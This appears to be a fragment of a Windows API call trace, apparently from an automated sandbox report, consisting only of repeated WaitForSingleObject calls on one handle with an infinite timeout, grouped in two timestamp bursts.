WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.117] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.117] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.117] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.117] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.117] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.118] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.118] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.118] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.118] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.118] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.118] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.118] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.119] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.119] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.119] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.119] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.119] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.119] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.120] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.120] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.120] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.120] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.120] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.120] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.120] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.120] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.120] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.121] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.121] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.121] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.121] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.121] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.121] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.121] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.121] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.122] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.122] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.122] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.122] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.122] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.122] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.122] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.123] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.123] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.123] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.123] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.123] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.123] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.123] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.123] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.124] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.124] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.124] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.124] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.124] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.124] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.124] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.124] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.125] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.125] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.125] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.125] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.125] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.125] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.125] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.125] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.125] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.125] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.126] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.126] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.126] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.126] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.126] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.126] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.126] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.126] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.126] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.126] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.127] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.127] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.127] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.127] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.127] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.127] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.127] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.127] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.127] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.127] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.127] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.127] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.128] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.128] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.128] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.128] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.128] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.128] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.128] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.128] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.128] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.128] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.128] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.129] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.129] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.129] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.129] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.129] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.129] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.129] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.129] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.129] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.130] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.130] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.130] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.130] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.130] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.130] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.130] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.130] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.130] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.130] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.130] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.131] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.131] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.131] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.131] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.131] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.131] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.131] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.131] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.131] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.132] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.132] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.132] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.132] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.132] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.132] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.132] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.132] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.132] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.132] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.132] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.133] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.133] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.133] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.133] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.133] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.133] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.133] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.133] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.133] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.133] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.134] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.134] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.134] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.214] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.214] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.214] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.214] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.214] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.215] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.215] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.215] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.215] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.215] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.215] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.215] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.216] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.216] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.216] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.216] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.216] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.216] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.217] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.217] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.217] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.217] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.217] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.217] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.217] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.217] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.218] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.218] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.218] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.218] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.218] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.218] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.218] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.218] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.219] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.219] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.219] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.219] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.219] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.219] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.219] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.219] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.220] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.220] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.220] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.220] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.220] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.220] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.220] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.220] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.221] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.221] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.221] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.221] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.221] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.221] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.222] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.222] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.222] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.222] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.222] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.222] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.222] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.222] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.223] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.223] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.223] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.223] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.223] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.223] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.223] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.224] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.224] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.224] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.224] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.224] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.224] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.224] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.224] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.225] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.225] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.225] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.225] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.225] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.225] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.225] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.225] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.225] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.226] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.226] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.226] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.226] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.226] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.226] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.226] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.226] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.227] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.227] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.227] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.227] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.227] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.228] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.228] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.228] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.228] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.228] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.229] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.229] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.229] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.229] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.229] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.229] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.229] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.229] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.229] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.230] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.230] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.230] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.230] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.230] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.230] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.230] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.230] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.231] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.231] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.231] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.231] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.231] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.231] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.232] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.232] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.232] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.232] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.232] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.232] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.232] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.232] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.233] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.233] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.233] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.233] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.233] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.233] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.233] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.234] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 